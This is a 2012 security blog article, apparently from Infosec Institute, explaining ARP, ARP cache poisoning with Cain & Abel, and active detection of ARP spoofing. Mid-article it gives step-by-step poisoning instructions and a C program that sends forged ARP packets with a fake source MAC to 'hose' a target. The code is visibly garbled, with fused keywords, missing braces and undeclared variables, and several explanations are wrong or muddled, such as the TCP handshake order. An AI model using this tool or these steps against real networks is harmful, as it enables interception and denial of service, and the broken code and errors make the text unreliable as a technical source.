A Look at ARP

February 8, 2012 by Rohit Kohli

If one gets diseased then he must search for the cure which uproots the disease. Hence, prevention is no longer better than cure.

-Rohit Kohli

Brief Intro of ARP

ARP is Address resolution protocol; it is used by the IP to map IP network addresses to hardware/NIC addresses. The mapping is stored in routing tables present in the routers. Sources on the same network communicate through hardware addresses while sources on different networks communicate through logical addresses.

Imagine your home address is ‘House No – 255 colony Aashiana’. Suppose you were somehow able to have two girlfriends – one lives in the colony Aashiana and the other resides in a city named New Delhi. If your girlfriend who lives in the same colony as you wants to communicate with you she need only know your home address. However, your girlfriend living in New Delhi would need to know your complete address. Your house number is mapped with the name of colony and the record of its location is kept with the post office.

In the above analogy the home address is your MAC address and the complete address is the logical address, while the post office does the job of the ARP.

Types of ARP

ARP operates using 4 types of ARP messages – ARP request, ARP reply, Reverse ARP request and Reverse ARP reply

ARP cache

When a node wants to repeatedly communicate with another Node it would be inefficient to follow the above procedure. Hence, ARP maintains a cache where it stores pre-mapped data. The ARP cache keeps data for 20-30 minutes.

ARP packet


ARP communication in datagram view


The above diagram shows how the ARP communicates with Nodes.


ARP cache poisoning
• Man-in-the-Middle attack
• Denial of service
• Spoofing

ARP cache poisoning

As discussed above, the ARP cache is maintained on all the nodes of a network. There are ARP tables that are present on switches; these tables show the mapping of logical addresses along with the hardware address.

There are two types of entries – static and dynamic.The ARP entry is kept on a device for some period of time and is dynamic. When entries are entered manually then they are known as static.

The attacker poisons the table; in doing so he/she adds false entries to the ARP table making the node believe that it’s communicating with the same node while it’s connected to another one.

The flowchart below shows how to accomplish the activity and the code to craft an ARP packet:

The activity can be achieved using various tools. A famous tool is Cain & Abel.

To do the task automatically, the following things need to be done.

1. Put the Ethernet card in promiscuous mode – this means the MAC card can hear all data travelling through the net but can’t respond to any of them. This is achieved my pushing the sniffer button in Cain & Abel. The technique is known as sniffing.

2. Start ARP cache poisoning. Push the APR button in the software and the tool automatically poisons the cache of the switch.

3. The tool also helps you to hide your identity.

The tool leaves fingerprint on the switch.

ARP spoofing can be done using an injection tool and OS backtrack.

The code below can be used to generate an ARP packet.

[sourcecode lang=”plain”]
#include <stdio.h>
#include <stdarg.h>
#include <stdlib.h>
#include <string.h>
#include <stddef.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <linux/if_ether.h>
#include <netpacket/packet.h>
#include <net/ethernet.h>

#define DIE 1
#define MSG_ONLY 0

externintoptind, opterr, optopt;
extern char *optarg;

typedefstruct {
unsigned short htype;
unsigned short ptype;
unsigned char hlen;
unsigned char plen;
unsigned short mode;
unsigned char sender_mac[6];
unsigned char sender_ip[4];
unsigned char target_mac[6];
unsigned char target_ip[4];
} arp_packet;

/* ethernet packet*/
typedefstruct {
unsigned char dest[6];
unsigned char src[6];
unsigned short eth_type;
} ether_packet;

voiddo_msg(int die, char *msg, …)
va_list list;
va_start(list, msg);
vsprintf(ebuf, msg, list);
if (die)
void usage()
char *blurb = "./pong -t <target>";
fprintf(stderr, "%sn", blurb);

void banner(char *target)
printf("Hosing %sn", target);

char *lookup(char *host, structsockaddr_in *t_addr, char **msg)
structaddrinfo hint, *res, *r;
memset(&hint, 0, sizeof(hint));
hint.ai_family = PF_INET;
if ((i = getaddrinfo(host, NULL, &hint, &res))) {
*msg = (char *)gai_strerror(i);
return NULL;
memcpy(t_addr, res->ai_addr, res->ai_addrlen);

voidinit_MAC_addr(intpf, char *interface, char *addr, int *card_index)
int r;
structifreq card;
strcpy(card.ifr_name, interface);

#ifdef SEND_MY_MAC
if (ioctl(pf, SIOCGIFHWADDR, &card) == -1)
do_msg(DIE, "Could not get MAC address for %s", card.ifr_name);
memcpy(addr, card.ifr_hwaddr.sa_data, 6);
To make it harder for people to figure out who sent this ARP message we use a fake
SRC MAC address.
memset(addr, 0xEE, 6);
if (ioctl(pf, SIOCGIFINDEX, &card) == -1)
do_msg(DIE, "Could not find device index number for %s", card.ifr_name);

*card_index = card.ifr_ifindex;

#ifdef DEBUG
#define MAC(i) card.ifr_hwaddr.sa_data[i]
printf("MAC is %02x:%02x:%02x:%02x:%02x:%02xn",
MAC(0), MAC(1), MAC(2), MAC(3), MAC(4), MAC(5));
printf("%s index is %dn", interface, *card_index);

voidsend_arp(intpf, unsigned intip, char *my_mac, structsockaddr_ll *device)
int bytes;

inet_aton("", &arbitrary_ip);

memset(epacket.dest, 0xFF, 6);
memcpy(epacket.src, my_mac, 6);
epacket.eth_type = htons(0x806);
epacket.arp.htype = htons(0x1);
epacket.arp.ptype = htons(0x800);
epacket.arp.hlen = 0x6;
epacket.arp.plen = 0x4;
epacket.arp.mode = htons(0x1);
memcpy(epacket.arp.sender_mac, my_mac, 6);
memcpy(epacket.arp.sender_ip, &ip, 4);
memset(epacket.arp.target_mac, 0xFF, 6);
memcpy(epacket.arp.target_ip, (char *)&arbitrary_ip, 4);

bytes = sendto(pf, &epacket, sizeof(epacket), 0, (const structsockaddr *)device,
if (bytes <= 0)
do_msg(DIE, "ARP packet write() error");

int main(intargc, char **argv)
charch, mac[6];
char *target, *emsg;
intpf, card_index;
structsockaddr_ll device;

while ((ch = getopt(argc, argv, "t:")) != -1) {
case ‘t’:
if (!(target = lookup(optarg, &t_addr, &emsg)))
do_msg(DIE, emsg);


if (!target)

if ((pf = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0)
do_msg(DIE, "Could not create packet socket");

memset(&device, 0, sizeof(device));
init_MAC_addr(pf, "eth0", mac, &device.sll_ifindex);

device.sll_family = AF_PACKET;
memcpy(device.sll_addr, mac, 6);
device.sll_halen = htons(6);

send_arp(pf, *(unsigned int *)&t_addr.sin_addr, mac, &device);

return 0;

Note if we ARP the request instead of use ARP reply, the victims computer can be poisoned by a single packet.

Prevention from ARP spoofing

ARP spoofing takes place due to a lack of authentication. Hence, ARP spoofing leads to following attacks:
• MITM – Man-in-the-Middle attack
• Denial of service
• Session hijacking

These are the two most popular ways of detecting the attack:
• Monitoring ARP traffic using ARP watch
• ARP request and TCP-SYN injection of packets

Monitoring ARP traffic is an obsolete technique. ARP requests/responses on the network are sniffed. A tool used to trace ARP spoofing is ARP watch.

The major disadvantage of this technique is that the attacker may leverage the time lag between detection and reporting. In addition, MAC flooding or inundating the cache table of switch with ARP requests and replies may lead to new reporting tables every time. The above shows that passive detection for ARP spoofing is an inefficient way to detect ARP spoofing.

Packet injection technique

The MAC to IP mapping is collected. The collection is different from the passive detection since the data is collected within a specific time interval. ARP packets are later categorized as the crafted one and the real one.
Crafted header : MAC addresses in ARP and MAC header differ
Real header: MAC addresses in ARP and MAC header are identical

The crafted header is easy to detect. The real header, if injected, is not easy to detect. Therefore, it’s divided into three categories.

Full ARP Cycle: The ARP request and its reply are monitored within a given time frame.
Request Half Cycle: An ARP request whose reply is not seen within a given time frame.
Response Half cycle: An ARP reply generated without an ARP request.

The following image depicts the detection architecture.

ARP sniffer module: Sniffing the data

MAC – ARP Header Anomaly Detector : Divides the module in real and crafted headers

This idea was expressed in Vivek Ramachandran and Sukumar Nandi’s paper ‘Detecting ARP Spoofing: An Active Technique” (http://vivekramachandran.com/docs/arp-spoofing.pdf)

To probe the authenticity of the sender of the ARP response we first send an ARP request packet corresponding to the ARP response packet i.e. the destination IP address in the constructed ARP request = the source IP address of the received ARP response and the source IP address of the constructed ARP request = Spoof Detection Engine’s host’s IP address. The Source MAC address of the constructed ARP request = Spoof Detection Engine’s host’s MAC address and the destination MAC address will be the broadcast address. By Rule B even if an attacker is spoofing ARP packets on the network he cannot stop the real host from replying to an ARP request sent to it. As the destination MAC address of an ARP request is the broadcast address so every host will receive it.

However, this technique can be bypassed.

It uses TCP architecture for detection. Here I would like to introduce a TCP header.

TCP works on a 3-way handshake: SYN, ACK, SYN-ACK.

Suppose the sequence number generated by TCP software is x, now acknowledgment number would be x+1. If at any time the attacker guesses x correctly, then he is able to generate the acknowledgment number x+1 – which he/she can use to hack into the TCP session.

Mathematics involved

Suppose A has a birthday on January 12, 1988. The probability that the birthday of A doesn’t fall on January 12, 1988 is 364/365. If the number of days in a year decrease then the probability of choosing a birthday falling on A’s birthday will also decrease i.e. (364/365)*(363/365)*(362/365)……

Similarly, in a case with TCP sessions, if the attacker guesses n number of times he may lead to successful result.

The same technique is used in TCP session hijacking. I am trying to leverage the session hijacking technique to manipulate the TCP packet injection algorithm.

Posted: February 8, 2012
Rohit Kohli
View Profile

Rohit Kohli is a graduate of Thapar Univesity. He currently resides in Lucknow, India. He works as a web security advisor at NevSky Business Solution. Previously he has worked as a web developer and in security management. He is a researcher at Infosec Institute.